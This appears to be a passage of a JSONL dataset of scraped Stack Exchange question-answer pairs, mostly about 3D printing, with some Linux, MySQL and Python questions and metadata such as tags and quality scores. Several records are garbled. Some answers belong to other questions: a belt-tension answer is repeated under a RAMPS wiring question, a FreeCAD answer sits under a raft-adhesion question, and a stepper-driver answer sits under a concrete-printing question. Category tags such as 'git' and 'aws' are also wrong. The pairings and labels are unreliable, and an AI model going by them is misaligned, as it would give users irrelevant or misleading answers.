(MIN_PROBE_EDGE)\n```\nAs seen in the commented\n```\n//#define MIN_PROBE_EDGE_LEFT 5\n```\nand uncommented\n```\n#define MIN_PROBE_EDGE_LEFT MIN_PROBE_EDGE\n```\n(equals 10) left probe limits, you are at least respectively 20  or 15 mm short, hence the sensor is not on the plate on the left.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:07.732669"}
{"id": "hf_88c4b8c56b4b", "question": "<p>I was just about to start using my 3D printers heated bed to warm a chemical reaction in a container and was thinking it would be great to be able to get the bed stepping back and forth to stir the pot.\nCan anyone already up to speed in programming G-code walk me through a quick and dirty way to get the X-axis on my old Printrbot metal doing a couple of micro-steps either way in an endless loop? Or suggest some software out there that could achieve the same effect? </p>\n", "question_body": "", "answer": "Never mind, figured the quickest dirtiest way myself - created a tall thin cylinder shape model in Blender and positioned it in Repetier so the printer head will be clear of the table as it moves. Then just broke off the filament that was currently in the printer so it will stop feeding once the current piece gets to the end of the feeder wheel. - not an endless loop but should give me a good 10 or 20 minutes of agitation before I need to restart the print if necessary.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:07.985824"}
{"id": "hf_05662fa77fbb", "question": "<p>I'm trying to compress different 3D files, but find it difficult to find the right software to compress the file.</p>\n\n<p>What are the most suitable 3D file compressors to compress 3D files like STL, OBJ and STEP?</p>\n\n<p>I have tried Draco, and mac zip compressor.</p>\n", "question_body": "", "answer": "If a general-purpose compression tool using a good compression algorithm, such as 7zip or gzip (for linux and command line enthusiasts) is not providing good compression it is not likely that your files\ncan\nbe compressed very much.\nThis applies to a wide variety of binary files beyond just 3D print files. There is always  a fundamental limit on compression (since it works by finding patterns and removing redundancy in files), and well-designed binary file formats generally can't be compressed very far.\nYou may however have some luck with changing the settings on your CAD tool to output less detailed files (though you this is obviously a tradeoff.)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:08.111159"}
{"id": "hf_bac7468556fa", "question": "<p><a href=\"https://3dprinting.stackexchange.com/questions/3586/adding-custom-m-codes-to-marlin\">Adding custom M Codes to Marlin</a> doesn't work for Marlin 2.0</p>\n\n<p>How would one go about adding custom G codes or M Codes to Marlin 2.0? The Marlin_main.cpp file does not exist. </p>\n\n<p>In general for Marlin 2.0, things are organized better, but split into more files. </p>\n", "question_body": "", "answer": "The code in 2.0.x is similar to the old branch 1.1.x, G-code is parsed in\n```\ngcode.cpp\n```\n, specifically in\n```\nprocess_parsed_command\n```\n:\n```\n```\nvoid GcodeSuite::process_parsed_command(const bool no_ok/*=false*/)\n```\n```\nIn the case statement the codes read from the G-code files are parsed (interpreted) and the appropriate method is called (e.g.\n```\nG28()\n```\ncalls\n```\nvoid GcodeSuite::G28()\n```\n)\nIf you want to create your own codes, it could be an idea to start there. Also think of using a different letter and/or codes in the 10,000 range so that it will not collide with new implemented G-codes.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:08.239997"}
{"id": "hf_da5a636fd796", "question": "<p>The Y-axis belt just broke on my Ender 3 v2. I believe that it was over tensioned from the factory. When I initially assembled the printer, I noticed that the Y-axis tensioner was tightened almost all the way. The belt itself felt very stiff. The X-axis belt, which I installed upon assembly, didn't require a lot of tightening. I have ordered replacement belt material and clips to make new belts.</p>\n<p>What is the proper tension for both the X- and Y-axis belts?</p>\n", "question_body": "", "answer": "Generally, a timing belt is a complicated device and many things depend on its internal construction and materials (it may be damaged when bound in wrong direction, or when cut, and when overtighten of course, etc.). There is also physics and math applicable, based on\nMersenne's laws\n.\nSome vendors provide calculators (online or as phone apps), which can calculate tension (force in Newtons or lbs) or the frequency (Hz). Therefore often the advice is to tension the belt until some (bass) sound is present - and professionals would tune belts with a sound tuner. There are also hints that belts should be possible to connect with fingers with slight or significant pressure (so not consistent). There is also visual guideline: when you slowly move the carriage with hand, the belt should remain straight. (Slowly, because belt is elastic and may behave different when moving carriage stronger and faster against friction of pulley.)\nI would suggest to read\nthis article on 3dprintingspot.com\nfor many practical suggestions.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:08.543975"}
{"id": "hf_c61cb3ec2668", "question": "<p>I am making a DIY 3D printer based on the prusa mini. So, I doubt is if RAMPS can only control 4 stepper motors as it has slots for 5 stepper motor slots and one will not be used in my case, if I can in what order should I connect the drivers and also ho will Marlin figure out which slot the extruder is connected? Sorry for the lack of knowledge if fit is really obvious  :|</p>\n", "question_body": "", "answer": "Generally, a timing belt is a complicated device and many things depend on its internal construction and materials (it may be damaged when bound in wrong direction, or when cut, and when overtighten of course, etc.). There is also physics and math applicable, based on\nMersenne's laws\n.\nSome vendors provide calculators (online or as phone apps), which can calculate tension (force in Newtons or lbs) or the frequency (Hz). Therefore often the advice is to tension the belt until some (bass) sound is present - and professionals would tune belts with a sound tuner. There are also hints that belts should be possible to connect with fingers with slight or significant pressure (so not consistent). There is also visual guideline: when you slowly move the carriage with hand, the belt should remain straight. (Slowly, because belt is elastic and may behave different when moving carriage stronger and faster against friction of pulley.)\nI would suggest to read\nthis article on 3dprintingspot.com\nfor many practical suggestions.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:08.680882"}
{"id": "hf_5967324b2330", "question": "<p>Every time I start a print, midway during printing, my printer starts to under extrude.</p>\n<p>I tried lots of different models every time the problem occurs.</p>\n<p>What should I do about this?</p>\n", "question_body": "", "answer": "If everything is stock on the machine and all other setting are properly configured, this is most likely\nheat creep\n.  This is caused when the PFTE tubing is not properly set within the hot end itself leaving a small gap.  As filament is fed into the hot end and heated to melting, some filament oozes out in the gap between the PFTE tubing and the nozzle. This melted filament then cools and hardens making it harder to extrude filament causing under extrusion.\nYou may want to calibrate your E-steps and flow as well,\nhere is an excellent website\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:08.918972"}
{"id": "hf_f2861f35d280", "question": "<p>Windows has its 3D Builder software which upon importing an image, converts it to a heightmap of the image, aka turning it to a 3D model that can be saved as an stl.</p>\n<p>Does Linux have software with similar properties that takes a black and white image and turning it into a 3D heightmap model?</p>\n", "question_body": "", "answer": "FreeCAD can import JPG (and IIRC TIFF and PNG as well) image files and produce a lithophane type height-map based on the brightness of each pixel.  I'd be rather surprised if other 3D CAD software aimed at the 3D printing user base couldn't do the same.  Most of the common free-to-use 3D CAD packages have Linux versions; FreeCAD certainly does (I use it on Kubuntu 20.04, and it should work on any recent version of any flavor of Debian-based Linux, if your hardware meets it requirements).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:09.082606"}
{"id": "hf_cea5e4f3c232", "question": "<p>I have an UP! mini and I am using the UP Studio and ABS 1.75 mm.</p>\n<p>My prints are always stuck to the rafts and are impossible to remove without destroying the print.</p>\n<p>I've had a look at the settings on the Up Studio but I don't know which ones to change to improve the situation.</p>\n", "question_body": "", "answer": "FreeCAD can import JPG (and IIRC TIFF and PNG as well) image files and produce a lithophane type height-map based on the brightness of each pixel.  I'd be rather surprised if other 3D CAD software aimed at the 3D printing user base couldn't do the same.  Most of the common free-to-use 3D CAD packages have Linux versions; FreeCAD certainly does (I use it on Kubuntu 20.04, and it should work on any recent version of any flavor of Debian-based Linux, if your hardware meets it requirements).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:09.205112"}
{"id": "hf_b8b70d8bcc86", "question": "<p>Why do concrete 3D printers lay the concrete in a zigzag shape? I know pouring it in a straight line makes it unstable, but the zigzag shape reduces the contact of the top layer to the layer below. What is the advantage?</p>\n", "question_body": "", "answer": "According to\n'The-EG' comment\nin this GitHub issue,\nAdd Creality Ender 2 Pro config #633\n, you can often determine the stepper drivers by one of a few ways:\nListen to the sound. The 'TMC22**' will sound much quieter\nLook for a marking in Sharpie on the SD Card reader\n```\n```\nC = HR4998\nE = A4988\nA = TMC2208\nB = TMC2209\nH = TMC2225\n```\n```\nRemove the heat sync\nhttps://github.com/MarlinFirmware/Configurations/pull/633#issuecomment-995480295\nAfter removing the heat sync, it appears that the Chip is actually a\n```\nMS35775\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:09.449967"}
{"id": "hf_842414b09ee0", "question": "<p>I'm trying to figure out if it's worth buying a 3D printer or using an online printing service like e.g. <a href=\"https://treddy.it\" rel=\"nofollow noreferrer\">this one</a> in the long run. Anyone have any cost analysis?</p>\n", "question_body": "", "answer": "It depends\nIf it is worth to invest in a print made for you compared to getting a printer depends on the needs you have. Thee can be informed by the type of material you want to print and the requirements that has on you. Let me give you some examples when it is simply worth it to pay:\nA metal printer costs in the thousands: upper five-digit for the most baseline and\naveraging in the low to mid-6-digit\n. Ordering a single or few printed pieces will be economical, and even ordering\nmany\nparts will still be well below break-even, considering that the material sets you back by up to 600 \\$ per kilo!\nA nylon powder printer\nstarts in the middle 4-digits but easily goes up to upper 5-digits and even middle 6 digits\n. Ordering for a small-scale production this way still will be economical.\nSome specialty plastics need printers with very high-temperature chambers and hotends with extreme wear resistance. Such machinery can easily cost five digits, especially in large dimensions where it goes to six. Compared to purchasing price of the machine, ordering the part will be cheaper.\nOn the other hand, getting a printer gets cheaper once you:\nuse it sufficiently, for example, to iteratively modify a designed part or produce a medium variety of parts.\nhave the time and money to spare to learn and tweak your machine to do what you want.\nthe amount of parts you want to make would cost you more to have ordered than a new printer, or a substantial portion thereof. For an FDM machine, the first useful machines can be priced as low as 150 \\$, while 300 \\$ gets you a somewhat capable Ender 3 v2 - which has developed into some kind of\nstandard unit\nfor printers.\nAlso note, that some printing services have limits on what they will produce. Commonly they will not provide services to manufacture tools or items that might violate local law or make it trivially to do so, for example copying keys or even manufacturing Keyblanks.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:09.667283"}
{"id": "hf_6e2b96b8c16b", "question": "<p>On one Linux Server running Apache and PHP 5, we have multiple Virtual Hosts with separate log files. We cannot seem to separate the php <code>error_log</code> between virtual hosts.</p>\n\n<p>Overriding this setting in the <code>&lt;Location&gt;</code> of the <code>httpd.conf</code> does not seem to do anything.</p>\n\n<p>Is there a way to have separate php <code>error_logs</code> for each Virtual Host?</p>\n", "question_body": "", "answer": "To set the\nApache\n(\nnot the PHP\n) log, the easiest way to do this would be to do:\n```\n```\n<VirtualHost IP:Port>\n   # Stuff,\n   # More Stuff,\n   ErrorLog /path/where/you/want/the/error.log\n</VirtualHost>\n```\n```\nIf there is no leading \"/\" it is assumed to be relative.\nApache Error Log Page", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:11.353986"}
{"id": "hf_9b07ea812528", "question": "<p>At what point does a MySQL database start to lose performance?</p>\n\n<ul>\n<li>Does physical database size matter?</li>\n<li>Do number of records matter?</li>\n<li>Is any performance degradation linear or exponential?</li>\n</ul>\n\n<p>I have what I believe to be a large database, with roughly 15M records which take up almost 2GB. Based on these numbers, is there any incentive for me to clean the data out, or am I safe to allow it to continue scaling for a few more years?</p>\n", "question_body": "", "answer": "The physical database size doesn't matter.  The number of records don't matter.\nIn my experience the biggest problem that you are going to run in to is not size, but the number of queries you can handle at a time.  Most likely you are going to have to move to a master/slave configuration so that the read queries can run against the slaves and the write queries run against the master.  However if you are not ready for this yet, you can always tweak your indexes for the queries you are running to speed up the response times.  Also there is a lot of tweaking you can do to the network stack and kernel in Linux that will help.\nI have had mine get up to 10GB, with only a moderate number of connections and it handled the requests just fine.\nI would focus first on your indexes, then have a server admin look at your OS, and if all that doesn't help it might be time to implement a master/slave configuration.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:11.636647"}
{"id": "hf_a90045c3b3d3", "question": "<p>I need the name of the current logged in user in my <strong>Air/Flex</strong> application. The application will only be deployed on Windows machines. I think I could attain this by regexing the User directory, but am open to other ways.</p>\n", "question_body": "", "answer": "Here is a solution that works in XP / Vista, but is definitely expandable to OSX, linux, I'd still be interested in another way.\n```\n```\npublic static function GetCurrentOSUser():String{\n    // XP & Vista only.\n    var userDirectory:String = File.userDirectory.resolvePath(\"\").nativePath;\n    var startIndex:Number = userDirectory.lastIndexOf(\"\\\\\") + 1\n    var stopIndex:Number = userDirectory.length;\n    var user = userDirectory.substring(startIndex, stopIndex);\n\n    return user;\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:11.791354"}
{"id": "hf_c50fd4c994c1", "question": "<p><em>Preferred languages</em>: C/C++, Java, and Ruby.</p>\n\n<p>I am looking for some helpful books/tutorials on how to write your own compiler simply for educational purposes. I am most familiar with C/C++, Java, and Ruby, so I prefer resources that involve one of those three, but any good resource is acceptable.</p>\n", "question_body": "", "answer": "Big List of Resources:\nA Nanopass Framework for Compiler Education\n¶\nAdvanced Compiler Design and Implementation\n$\nAn Incremental Approach to Compiler Construction\n¶\nANTLR 3.x Video Tutorial\nBasics of Compiler Design\nBuilding a Parrot Compiler\nCompiler Basics\nCompiler Construction\n$\nCompiler Design and Construction\n$\nCrafting a Compiler with C\n$\nCrafting Interpreters\n[Compiler Design in C]\n12\n¶\nCompilers: Principles, Techniques, and Tools\n$ — aka\n\"The Dragon Book\"\n; widely considered \"the book\" for compiler writing.\nEngineering a Compiler\n$\nEssentials of Programming Languages\nFlipcode Article Archive\n(look for \"Implementing A Scripting Engine by Jan Niestadt\")\nGame Scripting Mastery\n$\nHow to build a virtual machine from scratch in C#\n¶\nImplementing Functional Languages\nImplementing Programming Languages (with BNFC)\nImplementing Programming Languages using C# 4.0\nInterpreter pattern\n(described in\nDesign Patterns\n$) specifies a way to evaluate sentences in a language\nLanguage Implementation Patterns: Create Your Own Domain-Specific and General Programming Languages\n$\nLet's Build a Compiler\nby Jack Crenshaw — The\nPDF\n¶ version (examples are in Pascal, but the information is generally applicable)\nLinkers and Loaders\n$ (Google Books)\nLisp in Small Pieces (LiSP)\n$\nLLVM Tutorial\nModern Compiler Implementation in ML\n$ — There is a\nJava\n$ and\nC\n$ version as well - widely considered a very good book\nObject-Oriented Compiler Construction\n$\nParsing Techniques - A Practical Guide\nProject Oberon\n¶ - Look at chapter 13\nProgramming a Personal Computer\n$\nPrograming Languages: Application and Interpretation\nRabbit: A Compiler for Scheme\n¶\nReflections on Trusting Trust\n— A quick guide\nRoll Your Own Compiler for the .NET framework\n— A quick tutorial from MSDN\nStructure and Interpretation of Computer Programs\nTypes and Programming Languages\nWant to Write a Compiler?\n- a quick guide\nWriting a Compiler in Ruby Bottom Up\nCompiling a Lisp\n— compile directly to x86-64\nLegend:\n¶ Link to a PDF file\n$ Link to a printed book", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:12.000197"}
{"id": "hf_c3484c35d999", "question": "<p>What do I need to look at to see whether I'm on Windows or Unix, etc?</p>\n", "question_body": "", "answer": "```\n```\n>>> import os\n>>> os.name\n'posix'\n>>> import platform\n>>> platform.system()\n'Linux'\n>>> platform.release()\n'2.6.22-15-generic'\n```\n```\nThe output of\n```\nplatform.system()\n```\nis as follows:\nLinux:\n```\nLinux\n```\nMac:\n```\nDarwin\n```\nWindows:\n```\nWindows\n```\nSee:\n```\nplatform\n```\n— Access to underlying platform’s identifying data", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:12.220037"}
{"id": "hf_3e98561c7f32", "question": "<p>Python works on multiple platforms and can be used for desktop and web applications, thus I conclude that there is some way to compile it into an executable for Mac, Windows and Linux.</p>\n\n<p>The problem being I have no idea where to start or how to write a GUI with it, can anybody shed some light on this and point me in the right direction please?</p>\n", "question_body": "", "answer": "First you will need some GUI library with Python bindings and then (if you want) some program that will convert your python scripts into standalone executables.\nCross-platform GUI libraries with Python bindings (Windows, Linux, Mac)\nOf course, there are many, but the most popular that I've seen in wild are:\nTkinter\n- based on\nTk GUI toolkit\n(de-facto standard GUI library for python, free for commercial projects)\nWxPython\n- based on\nWxWidgets\n(popular, free for commercial projects)\nQt\nusing the\nPyQt bindings\nor\nQt for Python\n. The former is not free for commercial projects. The latter is less mature, but can be used for free.\nComplete list is at\nhttp://wiki.python.org/moin/GuiProgramming\nSingle executable (all platforms)\nPyInstaller\n- the most active(Could also be used with\n```\nPyQt\n```\n)\nfbs\n- if you chose Qt above\nSingle executable (Windows)\npy2exe\n- used to be the most popular\nSingle executable (Linux)\nFreeze\n- works the same way like py2exe but targets Linux platform\nSingle executable (Mac)\npy2app\n- again, works like py2exe but targets Mac OS", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:12.550940"}
{"id": "hf_14a750b32ca4", "question": "<p>By \"generate\", I mean auto-generation of the code necessary for a particular selected (set of) variable(s).</p>\n\n<p>But any more explicit explication or comment on good practice is welcome.</p>\n", "question_body": "", "answer": "I don't have Visual Studio installed on my machine anymore (and I'm using Linux), but I do remember that there was an wizard hidden somewhere inside one of the menus that gave access to a class builder.\nWith this wizard, you could define all your classes' details, including methods and attributes. If I remember well, there was an option through which you could ask Visual Studio to create the setters and getters automatically for you.\nI know it's quite vague, but check it out and you might find it.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:12.720167"}
{"id": "hf_2529b80eab76", "question": "<p>I need to send and receive data over serial connections (RS-232 and RS-422).</p>\n\n<p>How do I set up and communicate with such a connection?  How do I figure out what the configuration settings (e.g. baud rate) should be and how do I set them?</p>\n\n<p>In particular I am looking to do this in Java, C/C++, or one of the major Unix shells but I also have some interest in serial programming using Windows/Hyperterminal.</p>\n", "question_body": "", "answer": "Build a time machine and go back to 1987? Ho ho.\nOk, no more snarky comments.\nHow do I figure out what the configuration settings (e.g. baud rate) should be...\nRead the datasheet? Ok, ok. Seriously, last one. If you don't know the baud rate of the device you are trying to communicate with, you have two choices. Start guessing, or possibly bust out an o-scope. If you need a good starting point, let me suggest 9600-8-N-1. My suspicion is you can get there with brute force relatively quickly. There's a third option of having an old-school ninja who can tell just by the LOOK of the garbled characters at some standard baud rate what actual baud rate is. An impressive party trick to be sure.\nHopefully though you have access to this information. In unix/linux, you can get ahold of minicom to play with the serial port directly. This should make it fairly quick to get the configuration figured out.\none of the major Unix shells\nIn Unix the serial port(s) is/are file-mapped into the /dev/ subdir. ttyS0, for example. If you setup the correct baud rate and whatnot using minicom, you can even cat stuff to that file to send stuff out there.\nOn to the meat of the question, you can access it programmatically through the POSIX headers. termios.h is the big one.\nSee:\nhttp://www.easysw.com/~mike/serial/serial.html#3_1\n(NOT AVAILABLE ANYMORE)\nbut I also have some interest in serial programming using Windows/Hyperterminal.\nHyperterminal and minicom are basically the same program. As for how Windows let's you get access to the serial port, I'll leave that question for someone else. I haven't done that in Windows since the Win95 days.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:12.850900"}
{"id": "hf_d0957e9464ed", "question": "<p>I'm having trouble figuring out how to get the testing framework set up and usable in <strong>Visual Studio 2008</strong> for <code>C++</code> presumably with the built-in unit testing suite.</p>\n\n<p>Any links or tutorials would be appreciated.</p>\n", "question_body": "", "answer": "I use\nUnitTest++\n.\nIn the years since I made this post the source has moved from SourceForge to github.  Also the\nexample tutorial\nis now more agnostic - doesn't go into any configuration or project set up at all.\nI doubt it will still work for Visual Studio 6 as the project files are now created via CMake. If you still need the older version support you can get the last available version under the\nSourceForge\nbranch.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.063752"}
{"id": "hf_5df053a68609", "question": "<p>After being told by at least 10 people on SO that version control was a good thing even if it's just me I now have a followup question.</p>\n\n<p>What is the difference between all the different types of version control and is there a guide that anybody knows of for version control that's very simple and easy to understand?</p>\n", "question_body": "", "answer": "Version Control is essential to development, even if you're working by yourself because it protects you from yourself. If you make a mistake, it's a simple matter to rollback to a previous version of your code that you know works. This also frees you to explore and experiment with your code because you're free of having to worry about whether what you're doing is reversible or not. There are two major branches of Version Control Systems (VCS), Centralized and Distributed.\nCentralized VCS are based on using a central server, where everyone \"checks out\" a project, works on it, and \"commits\" their changes back to the server for anybody else to use. The major Centralized VCS are CVS and SVN. Both have been heavily criticized because \"merging\" \"branches\" is extremely painful with them. [TODO: write explanation on what branches are and why merging is hard with CVS & SVN]\nDistributed VCS let everyone have their own server, where you can \"pull\" changes from other people and \"push\" changes to a server. The most common Distributed VCS are Git and Mercurial. [TODO: write more on Distributed VCS]\nIf you're working on a project I heavily recommend using a distributed VCS. I recommend Git because it's blazingly fast, but is has been criticized as being too hard to use. If you don't mind using a commercial product BitKeeper is supposedly easy to use.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.266289"}
{"id": "hf_95e28975a4a0", "question": "<p>In a language such as (since I'm working in it now) PHP, which supports procedural and object-oriented paradigms.</p>\n\n<p>Is there a good rule of thumb for determining which paradigm best suits a new project? If not, how can you make the decision?</p>\n", "question_body": "", "answer": "It all depends on the problem you're trying to solve. Obviously you can solve any problem in either style (procedural or OO), but you usually can figure out in the planning stages before you start writing code which style suits you better.\nSome people like to write up use cases and if they see a lot of the same nouns showing up over and over again (e.g., a person withdraws money from the bank), then they go the OO route and use the nouns as their objects. Conversely, if you don't see a lot of nouns and there's really more verbs going on, then procedural or functional may be the way to go.\nSteve Yegge has a\ngreat but long post\nas usual that touches on this from a different perspective that you may find helpful as well.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.404479"}
{"id": "hf_793252d65f69", "question": "<p>What is the best approach to write <strong>hooks</strong> for <strong>Subversion</strong> in <strong>Windows</strong>? As far as I know, only executable files can be used. So what is the best choice? </p>\n\n<ul>\n<li>Plain batch files (very limited but perhaps OK for very simple solutions)</li>\n<li>Dedicated compiled executable applications (sledgehammer to crack a nutshell?)</li>\n<li>Some other hybrid choice (like a batch file running a Powershell script)</li>\n</ul>\n", "question_body": "", "answer": "Depending on the complexity, each situation is different, If I am just simply moving files around, I'll write a quick batch file. If I want to do something more complex Ill normally just skip the scripting part and write a quick c# program that can handle it.\nThe question then is do you put that c# program in svn and have it versioned :)\nedit:\nThe benefits of a dedicated c# application is that I can reuse code fragments to create new hooks later, including a simple log output I created to handle hook logging.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.614019"}
{"id": "hf_64174f3c0fbb", "question": "<p>Is it possible to undo the changes caused by the following command? If so, how?</p>\n\n<pre><code>git reset --hard HEAD~1\n</code></pre>\n", "question_body": "", "answer": "What you want to do is to specify the sha1 of the commit you want to restore to.  You can get the sha1 by examining the reflog (\n```\ngit reflog\n```\n) and then doing\n```\n```\ngit reset --hard <sha1 of desired commit>\n```\n```\nBut don't wait too long... after a few weeks git will eventually see that commit as unreferenced and delete all the blobs.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.777248"}
{"id": "hf_16ba0a1e0ea1", "question": "<p>I have a data structure that represents a directed graph, and I want to render that dynamically on an HTML page.  These graphs will usually be just a few nodes, maybe ten at the very upper end, so my guess is that performance isn't going to be a big deal. Ideally, I'd like to be able to hook it in with jQuery so that users can tweak the layout manually by dragging the nodes around.</p>\n\n<p>Note: I'm not looking for a charting library.</p>\n", "question_body": "", "answer": "JsVIS\nwas pretty nice, but slow with larger graphs, and has been abandoned since 2007.\nprefuse\nis a set of software tools for creating rich interactive data visualizations in Java.\nflare\nis an ActionScript library for creating visualizations that run in the Adobe Flash Player, abandoned since 2012.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:13.980146"}
{"id": "hf_e92feb0bbc95", "question": "<p>What are the differences between these two and which one should I use?</p>\n<pre><code>string s = &quot;Hello world!&quot;;\nString s = &quot;Hello world!&quot;;\n</code></pre>\n", "question_body": "", "answer": "```\nstring\n```\nis an alias in C# for\n```\nSystem.String\n```\n.\nSo technically, there is no difference.  It's like\n```\nint\n```\nvs.\n```\nSystem.Int32\n```\n.\nAs far as guidelines, it's generally recommended to use\n```\nstring\n```\nany time you're referring to an object.\ne.g.\n```\n```\nstring place = \"world\";\n```\n```\nLikewise, I think it's generally recommended to use\n```\nString\n```\nif you need to refer specifically to the class.\ne.g.\n```\n```\nstring greet = String.Format(\"Hello {0}!\", place);\n```\n```\nThis is the style that Microsoft tends to use in\ntheir examples\n.\nIt appears that the guidance in this area may have changed, as\nStyleCop\nnow enforces the use of the C# specific aliases.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:14.124597"}
{"id": "hf_35b1a4b876ef", "question": "<p>How do I setup Public-Key Authentication for SSH?</p>\n", "question_body": "", "answer": "For windows\nthis\nis a good introduction and guide\nHere are some good ssh-agents for systems other than linux.\nWindows -\npageant\nOS X -\nSSHKeychain", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:14.262348"}
